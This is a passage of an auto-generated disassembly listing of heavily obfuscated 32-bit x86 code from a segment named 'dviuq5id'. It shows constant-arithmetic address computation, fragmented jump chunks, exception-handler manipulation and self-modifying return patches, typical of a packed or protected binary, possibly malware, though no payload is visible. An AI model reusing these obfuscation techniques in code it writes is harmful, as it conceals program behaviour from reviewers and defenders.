; FUNCTION CHUNK AT 0044F8F7 SIZE 00000024 BYTES

		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		jmp	loc_44F8F7
sub_43DD6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_43DD79	proc near		; CODE XREF: dviuq5id:00440792j
					; sub_448B0A+5p

; FUNCTION CHUNK AT 00440FD6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00448901 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BA51 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00454A98 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		pushf
		push	75EA4224h
		jmp	loc_44BA51
sub_43DD79	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455518

loc_43DD88:				; CODE XREF: sub_455518:loc_4576CCj
		push	7CA9D9Bh
		pop	esi
		add	esi, 5528DDB9h
		cmp	esi, 0B90DD749h
		jmp	loc_452FC4
; END OF FUNCTION CHUNK	FOR sub_455518

; =============== S U B	R O U T	I N E =======================================



sub_43DD9F	proc near		; DATA XREF: sub_43EB11+AA11o
		xchg	edi, [esp+0]
		jmp	sub_445A59
sub_43DD9F	endp

; ---------------------------------------------------------------------------

loc_43DDA7:				; CODE XREF: dviuq5id:0044D9ABj
		push	0F74C7755h

; =============== S U B	R O U T	I N E =======================================



sub_43DDAC	proc near		; CODE XREF: sub_454267-748p

; FUNCTION CHUNK AT 00441F62 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B294 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D57C SIZE 0000000F BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	1CCE8D94h
		jmp	loc_44D57C
sub_43DDAC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43DDBA:				; CODE XREF: dviuq5id:00459219j
		call	sub_44DFB8
; START	OF FUNCTION CHUNK FOR sub_43A245

loc_43DDBF:				; CODE XREF: sub_43A245:loc_43FABCj
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		push	offset loc_43B73B
		jmp	loc_4425D9
; END OF FUNCTION CHUNK	FOR sub_43A245
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_43DDCF:				; CODE XREF: sub_44D022-5427j
		jz	loc_453A1E
		jmp	loc_44ED5B
; END OF FUNCTION CHUNK	FOR sub_44D022
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4510E7

loc_43DDDA:				; CODE XREF: sub_4510E7+Bj
		call	sub_45A1A8
		pop	ecx
		shl	eax, 3
		jmp	loc_45312D
; END OF FUNCTION CHUNK	FOR sub_4510E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_43DDE8:				; CODE XREF: sub_43CB4C:loc_449A63j
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_453138
		jmp	loc_44255E
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43DDF7:				; CODE XREF: sub_454094+CF2j
		pushf
		push	0F639867Fh
		or	esi, 0D18775A1h
		jmp	loc_443D42
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------

loc_43DE08:				; CODE XREF: dviuq5id:0043C303j
		jnb	loc_439420
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_43DE0E:				; CODE XREF: sub_448FC7+11649j
		jmp	loc_44C1F2
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452573

loc_43DE13:				; CODE XREF: sub_452573+6j
		jmp	nullsub_149
; END OF FUNCTION CHUNK	FOR sub_452573
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F35

loc_43DE18:				; CODE XREF: sub_445F35+8D7Fj
		jmp	loc_450093
; END OF FUNCTION CHUNK	FOR sub_445F35
; ---------------------------------------------------------------------------
		ja	loc_450DF3

loc_43DE23:				; CODE XREF: dviuq5id:loc_440745j
		mov	ebx, eax
		cmp	ebp, edi
		jmp	loc_4403B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4585FC

loc_43DE2C:				; CODE XREF: sub_4585FC:loc_44CE02j
					; sub_4585FC-B478j
		pop	large dword ptr	fs:0
		add	esp, 4
		push	0F2C0F88Eh
		pop	eax
		add	eax, 0DDA3CE11h
		xor	eax, 32E53DD0h
		test	eax, 8000h
		jmp	loc_44F614
; END OF FUNCTION CHUNK	FOR sub_4585FC
; ---------------------------------------------------------------------------
		push	68A6659h
		pop	eax
		and	eax, 0A81D10B4h
		rol	eax, 1
		add	eax, 725FC41Ah
		push	edx
		jmp	loc_452CFC
; ---------------------------------------------------------------------------

loc_43DE6D:				; DATA XREF: sub_4492F0+C106o
		push	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E57

loc_43DE6F:				; CODE XREF: sub_450E57-A0E9j
		jmp	loc_43F0F5
; END OF FUNCTION CHUNK	FOR sub_450E57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4426C3

loc_43DE74:				; CODE XREF: sub_4426C3+4j
		jmp	loc_4392B8
; END OF FUNCTION CHUNK	FOR sub_4426C3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DE79	proc near		; CODE XREF: dviuq5id:loc_452F64p
		push	edx
		mov	edx, ebp
		xchg	edx, [esp+0]
		mov	ebp, esp
sub_43DE79	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43DE81:				; CODE XREF: sub_43FA59+125AEj
		jmp	loc_44408D
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_43DE86:				; CODE XREF: sub_44CFBC-E3Aj
		rol	edi, 0Eh

loc_43DE89:				; CODE XREF: sub_44CFBC:loc_44E43Cj
		call	sub_456F43
		mov	edx, 0DD5E106Fh
		call	sub_449EB7
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+4+var_4]
		ror	eax, 0Ah
		jmp	loc_4512B2
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_43DEA6:				; CODE XREF: sub_44C6B8-32FAj
		jz	loc_43F0DE

loc_43DEAC:				; CODE XREF: sub_44119E-4B24j
		jmp	loc_458FF3
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------
		sub	edi, 18A35BB8h
		cmp	esi, ecx
		jmp	loc_43E3EA
; ---------------------------------------------------------------------------
		mov	edi, ebp
		and	eax, ebx
		jmp	sub_458330
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D160

loc_43DEC7:				; CODE XREF: sub_43D160:loc_44EC0Cj
		push	0
		push	433ED084h
		pop	eax
		rol	eax, 19h
		add	eax, 8CA52ABAh
		xor	eax, 42DDDD84h
		add	eax, ebp
		jmp	loc_44DC95
; END OF FUNCTION CHUNK	FOR sub_43D160
; ---------------------------------------------------------------------------

loc_43DEE5:				; DATA XREF: sub_44C1D5+5o
		ror	eax, 0Eh
		push	edi
		push	5D8E356Eh
		xchg	edx, [esp]

loc_43DEF1:				; CODE XREF: dviuq5id:loc_446590j
		mov	edi, edx

loc_43DEF3:				; CODE XREF: dviuq5id:loc_444C33j
		pop	edx
		jmp	loc_44E418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4538B3

loc_43DEF9:				; CODE XREF: sub_4538B3+5F1j
		jge	loc_44379C
		add	ebx, 80789178h

loc_43DF05:				; CODE XREF: sub_4538B3:loc_44337Aj
		call	sub_456F43
		mov	edx, 9E849D81h
		push	ecx
		push	offset sub_4455D9
		jmp	nullsub_179
; END OF FUNCTION CHUNK	FOR sub_4538B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443862

loc_43DF1A:				; CODE XREF: sub_443862+4E5Cj
		or	ebx, 3776C6DCh
		mov	ebp, [edx]
		sub	edx, ecx
		jmp	loc_447BBC
; END OF FUNCTION CHUNK	FOR sub_443862
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_242. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_43DF2A:				; CODE XREF: sub_439C09+4876j
		jmp	loc_43DB6E
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------

loc_43DF2F:				; CODE XREF: dviuq5id:0044F7A7j
		push	ebp

loc_43DF30:				; CODE XREF: dviuq5id:loc_44CB08j
		push	eax
		lea	eax, dword_4567A4
		push	eax
		push	edi
		mov	edi, eax
		xchg	edi, [esp]
		call	sub_4435C5
; START	OF FUNCTION CHUNK FOR sub_43B48A

loc_43DF43:				; CODE XREF: sub_43B48A+DD11j
		jmp	loc_44580C
; END OF FUNCTION CHUNK	FOR sub_43B48A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_43DF48:				; CODE XREF: sub_45288A+7j
		mov	large fs:0, esp
		push	dword ptr [ebp-4]
		push	edi
		push	4FB262BEh
		sbb	edi, esi
		jmp	loc_43F6AB
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------

loc_43DF5F:				; CODE XREF: dviuq5id:loc_439FFDj
		mov	edx, [esp]
		push	eax
		mov	eax, ebp
		xchg	eax, [esp]
		mov	ebp, eax
		xchg	ebp, [esp]
		mov	eax, edx
		call	sub_4571A7
		jmp	loc_439F70
; ---------------------------------------------------------------------------
		ja	loc_450B33
		jmp	sub_443A2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E491

loc_43DF84:				; CODE XREF: sub_44E491:loc_456D1Dj
		add	ebx, 0D0999BFEh
		rol	ebx, 0Fh
		add	ebx, 0BA147F44h
		xchg	ebx, [esp+0]
		jmp	loc_44F631
; END OF FUNCTION CHUNK	FOR sub_44E491
; ---------------------------------------------------------------------------
		mov	eax, 851AF986h
		push	edi
		push	6D59A9A7h
		pop	edi
		jmp	loc_45523D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_43DFAC:				; CODE XREF: sub_445707-183j
		mov	esi, [edi]

loc_43DFAE:				; CODE XREF: sub_445707:loc_43E435j
		push	0
		call	sub_458D9A
; END OF FUNCTION CHUNK	FOR sub_445707
; START	OF FUNCTION CHUNK FOR sub_44F23F

loc_43DFB5:				; CODE XREF: sub_44F23F:loc_441EEDj
		pop	esi
		mov	eax, ds:dword_441EE4
		call	sub_456EE5

loc_43DFC1:				; CODE XREF: sub_443F7F+B94Fj
		pop	ecx
		xor	esi, 722B44B7h
		sub	esi, 10363077h
		add	esi, 6253D37Ah
		or	esi, ds:4000FBh
		add	esi, 5E9B836h
		jmp	loc_458A21
; END OF FUNCTION CHUNK	FOR sub_44F23F
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, eax
		xchg	edx, [esp]
		ror	eax, 13h
		push	ebx
		jmp	loc_458D3A
; ---------------------------------------------------------------------------

loc_43DFF4:				; DATA XREF: sub_43E343+12o
		mov	eax, [eax]
		popf
		push	eax

loc_43DFF8:				; CODE XREF: dviuq5id:0043FD0Bj
		push	edi
		push	23EF51D6h
		pop	edi
		and	edi, 9DD44341h
		rol	edi, 8
		jmp	loc_4573F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4414C8

loc_43E00D:				; CODE XREF: sub_4414C8+17j
		add	edx, 48140CA7h
		mov	[edx], eax
		pop	edx
		lea	eax, sub_45061D
		mov	byte ptr [eax],	0C3h
		jmp	sub_45061D
; END OF FUNCTION CHUNK	FOR sub_4414C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_43E024:				; CODE XREF: sub_43E10E+Dj
		or	eax, 809D6445h
		js	loc_43CBAC
		sub	ebp, esi
		js	loc_441A72
		jnb	loc_43C5C6
		jmp	loc_43EF44
; END OF FUNCTION CHUNK	FOR sub_43E10E
; ---------------------------------------------------------------------------

loc_43E043:				; CODE XREF: dviuq5id:00444FACj
		jle	loc_4572AD
		ror	ebp, 5
		jmp	sub_44F0CA
; ---------------------------------------------------------------------------
		jg	loc_43BACF
		jmp	loc_44101C
; ---------------------------------------------------------------------------

loc_43E05C:				; CODE XREF: dviuq5id:loc_441C18j
		jz	loc_44C00D
; START	OF FUNCTION CHUNK FOR sub_452189

loc_43E062:				; CODE XREF: sub_452189-18E64j
		jmp	loc_457120
; END OF FUNCTION CHUNK	FOR sub_452189
; ---------------------------------------------------------------------------
		jns	loc_44BC90
		and	esi, edx
		pushf
		jmp	loc_44C00D
; ---------------------------------------------------------------------------

loc_43E075:				; CODE XREF: dviuq5id:0043B585j
		adc	edx, 4CE8A84Ch

loc_43E07B:				; CODE XREF: dviuq5id:loc_4409BFj
		mov	eax, [esp]
		push	edx
		mov	edx, eax
		xchg	edx, [esp]
		jmp	loc_43BBDF
; ---------------------------------------------------------------------------

loc_43E089:				; CODE XREF: dviuq5id:0043BE2Bj
		or	edx, ecx

; =============== S U B	R O U T	I N E =======================================



sub_43E08B	proc near		; CODE XREF: sub_44D0F2+50EDp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043C64B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C6B7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044159C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044266C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E95A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FC7C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00455A28 SIZE 0000000D BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		pop	ebx
		jmp	loc_43C64B
sub_43E08B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43E095	proc near		; CODE XREF: sub_455B54-152DBp
					; dviuq5id:00452867j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043FBAD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004435EB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044D8F7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004501CB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004515B5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00451BA5 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		cmp	al, 0A4h
		jz	loc_451BA5
		jmp	loc_43FBAD
sub_43E095	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F83A

loc_43E0A6:				; CODE XREF: sub_43F83A+4FA0j
		mov	eax, [esp+0]
		push	edx
		push	offset byte_44BC89
		jmp	loc_43FE1B
; END OF FUNCTION CHUNK	FOR sub_43F83A
; ---------------------------------------------------------------------------

loc_43E0B4:				; CODE XREF: dviuq5id:0043B367j
		jp	loc_44FCCF
		push	eax

; =============== S U B	R O U T	I N E =======================================



sub_43E0BB	proc near		; CODE XREF: sub_442FBA+12873p

; FUNCTION CHUNK AT 0044FC3D SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		jmp	loc_44FC3D
sub_43E0BB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4547E2

loc_43E0CA:				; CODE XREF: sub_4547E2:loc_43EFEEj
		cmp	byte ptr [eax],	0EBh
		jmp	loc_442337
; ---------------------------------------------------------------------------

loc_43E0D2:				; CODE XREF: sub_4547E2:loc_43C568j
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		cmp	ds:dword_446E14[eax*4],	0
		jz	loc_44FE5A
		mov	eax, [ebp+var_4]
		jmp	loc_448B05
; END OF FUNCTION CHUNK	FOR sub_4547E2
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, ecx
		xchg	edi, [esp]
		call	sub_458B72
; START	OF FUNCTION CHUNK FOR sub_454267

loc_43E0F9:				; CODE XREF: sub_454267-362Cj
		jmp	nullsub_187
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44648C

loc_43E0FE:				; CODE XREF: sub_44648C+6j
		jmp	loc_44F36F
; END OF FUNCTION CHUNK	FOR sub_44648C
; ---------------------------------------------------------------------------

loc_43E103:				; CODE XREF: dviuq5id:00442D7Cj
		test	ebx, 19ACFD4Bh
		jmp	loc_450DD6

; =============== S U B	R O U T	I N E =======================================



sub_43E10E	proc near		; CODE XREF: sub_4597EF-201FDp
					; dviuq5id:0044D7AEj

; FUNCTION CHUNK AT 0043956D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043C5C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C7F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CBAA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043E024 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043EF44 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004400DB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00441A72 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00442213 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00442583 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004451ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C5C6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00452EE8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00456083 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004579C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00459795 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045A0A7 SIZE 00000013 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	0F53B49C4h
		pop	eax
		rol	eax, 0Ah
		jmp	loc_43E024
sub_43E10E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BE2

loc_43E120:				; CODE XREF: sub_453BE2+8j
		jnz	loc_45916D
		jmp	loc_43EFA0
; END OF FUNCTION CHUNK	FOR sub_453BE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_43E12B:				; CODE XREF: sub_449222:loc_445557j
		or	eax, eax
		jnz	loc_44224E
		jmp	loc_445A05
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_43E138:				; CODE XREF: sub_446A9C:loc_43B876j
		ja	loc_45661C
		jmp	loc_451175
; END OF FUNCTION CHUNK	FOR sub_446A9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_43E143:				; CODE XREF: sub_4560AC-8553j
		lea	eax, [ebp-2C8h]
		push	eax
		push	edi
		push	0FF538F1Ah
		pop	edi
		xor	edi, 9C38113Ch
		jmp	loc_4562AF
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------
		popf
		jmp	sub_44864B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A813

loc_43E162:				; CODE XREF: sub_43A813:loc_444740j
		call	sub_440729

loc_43E167:				; CODE XREF: dviuq5id:0045830Fj
		jmp	loc_451823
; END OF FUNCTION CHUNK	FOR sub_43A813
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B54

loc_43E16C:				; CODE XREF: sub_455B54-12CAAj
		jmp	loc_440875
; END OF FUNCTION CHUNK	FOR sub_455B54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A397

loc_43E171:				; CODE XREF: sub_45A397-D20Bj
		jge	loc_43B828
; END OF FUNCTION CHUNK	FOR sub_45A397
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_43E177:				; CODE XREF: sub_43C4B5+10E36j
		xchg	edi, ebx

loc_43E179:				; CODE XREF: sub_45A397:loc_45A25Dj
		push	ecx
		call	sub_43E9E7

loc_43E17F:				; CODE XREF: dviuq5id:0044216Fj
		jmp	loc_445A1C
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
		call	sub_456F43
		mov	edx, 0F25CB94Fh
		call	sub_449EB7
		push	edx
		push	1B55828Eh
		pop	edx
		xor	edx, 15705ACBh
		and	edx, 2155909Fh
		jmp	loc_444E29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_43E1AB:				; CODE XREF: sub_441DDA-892Cj
		jnz	loc_445692
		jmp	loc_4496CB
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_43E1B6:				; CODE XREF: sub_449222:loc_448985j
		jnz	loc_439114
		or	edx, 0B887921h
		jmp	loc_43910B
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CCEE

loc_43E1C7:				; CODE XREF: sub_44CCEE+13j
		jnz	loc_452DB3
		jmp	loc_44EDAD
; END OF FUNCTION CHUNK	FOR sub_44CCEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_43E1D2:				; CODE XREF: sub_43D181+14895j
		popf

loc_43E1D3:				; CODE XREF: sub_43D181:loc_451A0Dj
		add	eax, 0F8D5824Fh
		xor	eax, 5B09E920h
		add	eax, 63BE435Ch
		add	eax, ebp
		jmp	loc_43FB1F
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------

loc_43E1EC:				; CODE XREF: dviuq5id:0043AF2Aj
		jo	loc_43B021

loc_43E1F2:				; CODE XREF: dviuq5id:loc_43AF12j
		and	edi, 0E93F2F65h
		add	edi, 0DF094DD0h
		xchg	edi, [esp]
		jmp	sub_453642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C0B

loc_43E206:				; CODE XREF: sub_447C0B-80E0j
		js	loc_447760

loc_43E20C:				; CODE XREF: sub_447C0B:loc_44399Aj
		mov	eax, [ebp-0Ch]

loc_43E20F:				; CODE XREF: dviuq5id:0044CE3Fj
		neg	eax
		sbb	eax, eax
		jmp	loc_439A15
; END OF FUNCTION CHUNK	FOR sub_447C0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C07B

loc_43E218:				; CODE XREF: sub_44C07B:loc_43F972j
		jge	loc_4523CC

loc_43E21E:				; CODE XREF: sub_44846C+11FF0j
		jmp	loc_456902
; END OF FUNCTION CHUNK	FOR sub_44C07B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_43E223:				; CODE XREF: sub_4551F9-102FBj
		jmp	loc_4478E6
; END OF FUNCTION CHUNK	FOR sub_4551F9
; ---------------------------------------------------------------------------
		jz	loc_446884
		rol	ebp, 8
		jmp	loc_4523C4
; ---------------------------------------------------------------------------

loc_43E236:				; CODE XREF: dviuq5id:0044F458j
		not	ecx
		shl	ebp, 19h
; START	OF FUNCTION CHUNK FOR sub_445437

loc_43E23B:				; CODE XREF: sub_445437:loc_44F442j
		or	edi, 8FF185C3h
		add	edi, 405345DBh
		xchg	edi, [esp+4+var_4]
		jmp	loc_452A86
; END OF FUNCTION CHUNK	FOR sub_445437
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4582AD

loc_43E24F:				; CODE XREF: sub_4582AD+12j
		jz	loc_454442
		jmp	loc_455FC6
; END OF FUNCTION CHUNK	FOR sub_4582AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43E25A:				; CODE XREF: dviuq5id:00443793j
					; sub_43FA59:loc_44CBD7j
		xor	eax, 6685FEAAh
		rol	eax, 0Fh
		add	eax, 0E814195h
		mov	eax, [eax]
		mov	[ebp-4], eax
		push	1DB444ABh
		jmp	loc_44D898
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444466

loc_43E278:				; CODE XREF: sub_444466+43EEj
		mov	eax, [eax]
		add	eax, [ebp+var_4]
		add	eax, 18h
		mov	[ebp+var_10], eax
		jmp	loc_442C7D
; END OF FUNCTION CHUNK	FOR sub_444466
; ---------------------------------------------------------------------------
		jnb	loc_446C1F
		jmp	sub_43F519
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459983

loc_43E293:				; CODE XREF: sub_459983:loc_457D35j
		mov	eax, edx
		pop	edx
		sub	eax, ds:4000F3h
		test	eax, 400h
		jmp	loc_43AFDE
; END OF FUNCTION CHUNK	FOR sub_459983
; ---------------------------------------------------------------------------

loc_43E2A7:				; CODE XREF: dviuq5id:loc_44BC32j
		jge	loc_4570E9
; START	OF FUNCTION CHUNK FOR sub_44E491

loc_43E2AD:				; CODE XREF: sub_44E491-E43Cj
		jmp	nullsub_418
; END OF FUNCTION CHUNK	FOR sub_44E491
; ---------------------------------------------------------------------------
		sub	esi, 752F8330h
		pushf
		sub	edi, esi
		jmp	loc_4570E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_43E2C0:				; CODE XREF: sub_446682+C96Bj
		mov	ds:dword_41D164, eax
		lea	eax, nullsub_17
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_17
; ---------------------------------------------------------------------------

loc_43E2D4:				; CODE XREF: sub_446682:loc_452FD4j
		mov	eax, [esp+0]
		push	edx
		jmp	loc_446E0D
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F10

loc_43E2DD:				; CODE XREF: sub_441F10:loc_4451F2j
		sub	edi, 5990A2B5h
		cdq
		jmp	loc_456C2C
; END OF FUNCTION CHUNK	FOR sub_441F10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E66D

loc_43E2E9:				; CODE XREF: sub_44E66D-926Dj
		push	offset sub_444351
		jmp	nullsub_488
; END OF FUNCTION CHUNK	FOR sub_44E66D
; ---------------------------------------------------------------------------
		jmp	ds:off_41D11C
; ---------------------------------------------------------------------------

loc_43E2F9:				; CODE XREF: dviuq5id:0044EE02j
		jmp	loc_458258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449423

loc_43E2FE:				; CODE XREF: sub_448665+Dj
		jmp	sub_456F43
; END OF FUNCTION CHUNK	FOR sub_449423
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_43E303:				; CODE XREF: dviuq5id:0043917Fj
					; sub_43BA0E+EDC8j ...
		jnz	loc_44E8BD
		pop	edx
		mov	eax, [esp+0]
		push	edx
		call	sub_44E1C0
		push	8C1E0936h
		jmp	loc_444051
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E1A

loc_43E31D:				; CODE XREF: sub_444E1A:loc_44898Aj
		jge	loc_455D1F

loc_43E323:				; CODE XREF: sub_4551F9-D90Dj
		jmp	loc_451A92
; END OF FUNCTION CHUNK	FOR sub_444E1A
; ---------------------------------------------------------------------------
		and	ecx, 0D74656DDh
		jno	locret_44990F
		xchg	edi, ebx
		sbb	edi, 0C6E27724h
		mov	ecx, [edx]
		jmp	loc_455D1F

; =============== S U B	R O U T	I N E =======================================



sub_43E343	proc near		; CODE XREF: dviuq5id:00459FA5j
					; sub_445A59+14AA2p
		xchg	ebx, [esp+0]
		pop	ebx

loc_43E347:				; CODE XREF: sub_448154-AFB7j
		add	eax, 2BCE301Ah
		add	eax, ebp
		add	eax, 96238BBh
		push	offset loc_43DFF4
		jmp	nullsub_31
sub_43E343	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43E360:				; CODE XREF: sub_454094:loc_43C803j
		sbb	edi, esi
		jmp	loc_4571AF
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------

loc_43E367:				; CODE XREF: dviuq5id:004580CDj
		jz	loc_442D81
		jb	loc_43C803
		mov	edi, esi
		jo	loc_459729

loc_43E37B:				; CODE XREF: dviuq5id:004580C6j
		xor	eax, 58EFA199h
		and	eax, 0B3B5FB15h
		push	offset sub_45444D
		jmp	loc_43DCF3
; ---------------------------------------------------------------------------
		add	edi, eax
		jmp	sub_43BC8E
; ---------------------------------------------------------------------------

loc_43E398:				; CODE XREF: dviuq5id:loc_458260j
					; dviuq5id:00458279j
		or	ebx, 6B63F909h
		add	ebx, 4D40567h
		xchg	ebx, [esp]
		jmp	loc_44BF28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_43E3AC:				; CODE XREF: sub_43F4F8+3DAj
		pop	eax
		add	eax, 2D8ECB15h
		rol	eax, 1
		add	eax, 25257019h
		rol	eax, 1Ah
		xor	eax, 77FBAB00h
		add	eax, ebp
		add	eax, 171EA69Dh
		jmp	loc_443755
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; ---------------------------------------------------------------------------
		not	edx
